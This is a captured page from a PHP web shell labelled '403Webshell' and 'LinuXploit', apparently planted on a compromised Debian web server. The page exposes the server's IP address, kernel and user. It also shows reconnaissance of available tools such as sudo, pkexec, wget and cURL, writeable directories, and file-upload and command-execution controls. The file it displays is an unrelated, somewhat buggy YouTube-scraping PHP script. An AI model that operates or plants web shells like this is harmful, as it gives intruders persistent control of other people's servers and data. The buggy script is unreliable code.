403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/video_gallery_big/admin/youtube/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/video_gallery_big/admin/youtube/sacdel.php
<?php
header("Content-type: text/html; Charset=utf-8");
function get_js($videoid){
    static $iter = 0;
    $watchurl = "https://www.youtube.com/watch?v=" . $videoid;
        #watchinfo = opener.open(watchurl).read().decode("UTF-8")
        $watchinfo1 = fopen($watchurl,"rb");
        $watchinfo = stream_get_contents($watchinfo1);
        $title_regex = ";ytplayer.config = ({.*?});";
        preg_match_all($title_regex, $watchinfo, $title);
        $title = $title[1][0];
        $iter++;
        if(strlen($title) < 500 && $iter < 20)return get_js($videoid);
        //pre($title);
        echo "\n\n\n".$iter."\n\n\n";
        
        $constants = get_defined_constants(true);
//        pre($title);
        $myjson = json_decode(utf8_encode(str_replace("'","","[".$title."]")),false,1000);
        echo "\n\n\n".json_last_error()."\n\n\n";
       // pre($myjson);
        fclose($watchinfo1);
       pre($myjson);
        $args = $myjson->args;
        
        $html5player = $myjson->assets->js;

        if(!strstr('//', $html5player))
            $html5player = "https:" + $html5player;
        #js = opener.open(html5player).read().decode("UTF-8")
        //$js = file_get_contents($html5player);
        $js = '';
        
        return [$js,$args];
}
get_js($argv[1]);

function json_decode_nice($json, $assoc = TRUE){
 //   $json = str_replace(array("\n","\r"),"\\n",$json);
    $json = str_replace("'","",$json);
//    $json = preg_replace('/([{,]+)(\s*)([^"]+?)\s*:/','$1"$3":',$json);
//    $json = preg_replace('/(,)\s*}$/','}',$json);
    return json_decode($json,$assoc);
}


function pre($a){
    echo '<pre>';
       print_r($a);
    echo '</pre>';
}

Youez - 2016 - github.com/yon3zu
LinuXploit